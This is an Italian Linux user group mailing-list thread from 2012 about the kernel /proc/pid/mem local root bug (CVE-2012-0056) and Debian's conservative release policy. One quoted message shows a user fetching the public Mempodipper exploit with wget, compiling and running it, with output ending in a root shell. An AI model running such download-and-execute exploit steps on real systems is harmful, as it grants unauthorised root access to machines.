[Linux-Biella] Vulnerabilità kernel >= 2.6.39 (SUID /proc/pid/mem)

[Federico "Darkmagister" Pietta]

On 31/01/2012 13:40, Daniele Segato wrote:
> On 01/31/2012 01:30 PM, Federico "Darkmagister" Pietta wrote:
>>> urca
>>> pesante il bug...
>>>
>>
>> concordo, saranno contenti quelli con ICS così non devo installare
>> programmi strani per rootare :D comunque per fortuna che debian stable
>> sta ancora con il 2.6.32, ecco cosa vuol dire :D
> 
> si...
> ma sai la  marea di distribuzioni in giro con il bug?
> 
> l'ho provato....
> 
> $ whoami
> mastro
> $ cd /tmp
> $ wget 'http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c'
> $ gcc mempodipper.c -o mempodipper
> $ ./mempodipper
> ===============================
> =          Mempodipper        =
> =           by zx2c4          =
> =         Jan 21, 2012        =
> ===============================
> 
> [+] Ptracing su to find next instruction without reading binary.
> [+] Creating ptrace pipe.
> [+] Forking ptrace child.
> [+] Waiting for ptraced child to give output on syscalls.
> [+] Ptrace_traceme'ing process.
> [+] Error message written. Single stepping to find address.
> [+] Resolved call address to 0x4020b8.
> [+] Opening socketpair.
> [+] Waiting for transferred fd in parent.
> [+] Executing child from child fork.
> [+] Opening parent mem /proc/19469/mem in child.
> [+] Sending fd 6 to parent.
> [+] Received fd at 6.
> [+] Assigning fd 6 to stderr.
> [+] Calculating su padding.
> [+] Seeking to offset 0x4020ac.
> [+] Executing su with shellcode.
> # whoami
> root
> 
> O_O doh!
> 
> $ uname -a
> Linux mastroc3 3.1.0-1-amd64 #1 SMP Tue Jan 10 05:01:58 UTC 2012 x86_64
> GNU/Linux
> 
> debian testing
> 

io ho una debian testing ma mi compilo il kernel da me, e appunto sul
3.2.0 c'è ancora, ora c'è il 3.2.2 non so se sia giò fixato o meno, ma
non voglio riavviare il pc :D almeno per altri 2 gg diciamo che speravo
di aspettare il 3.3 (che dovrebbe portare benefici per l'autonomia)

>>> ed è rimasto in giro per un bel po' di versioni :S
>>>
>>
>> qua sul 3.2.0 c'è ancora... :D
>>
>> c'è però da dire che le ultime versione sono uscite in pochi mesi,
>> rilasci abbastanza veloci e poco incentrati su lato sicurezza ma più
>> compatibilità (non è assolutamente una giustificazione)
> 
> 
> no questo è davvero un brutto bug
> 

sisi, come dicevo tempo fa secondo me i rootkit sono i problemi più
grossi, perchè se uno pensa di stare sicuro "giustamente" usando roba da
utente con questi non lo sei.

> 
> 
>> il 2.6.39 è uscito circa il 19/05/2011 quindi direi che è un lungo tempo
>> comunque, qui vince la strategia debian però :D
> 
> ni :)
> vince sul piano sicurezza
> e comunque se nessuno si accorgeva oggi ma saltava fuori fra qualche
> mese se lo beccava anche la debian stable
> 

bhe si ovvio che se non se ne fossero accorti, ma solitamente c'è un
team che testa, se sta in test per più tempo tecnicamente c'è una
probabilità più alta di trovarli

>> ma perchè ti rispondi da solo alle email ? :D
> 
> perché ho scritto in ml prima di leggermi tutto l'articolo e finito
> l'articolo volevo condividere la mia perplessità :)

lol :D

-- 
Federico Pietta "Darkmagister"
http://www.darkmagister.org
http://www.webosphone.it
Linux Registered User: #425709

public gpg key: gpg --keyserver pgp.mit.edu --recv-key 65E45DEF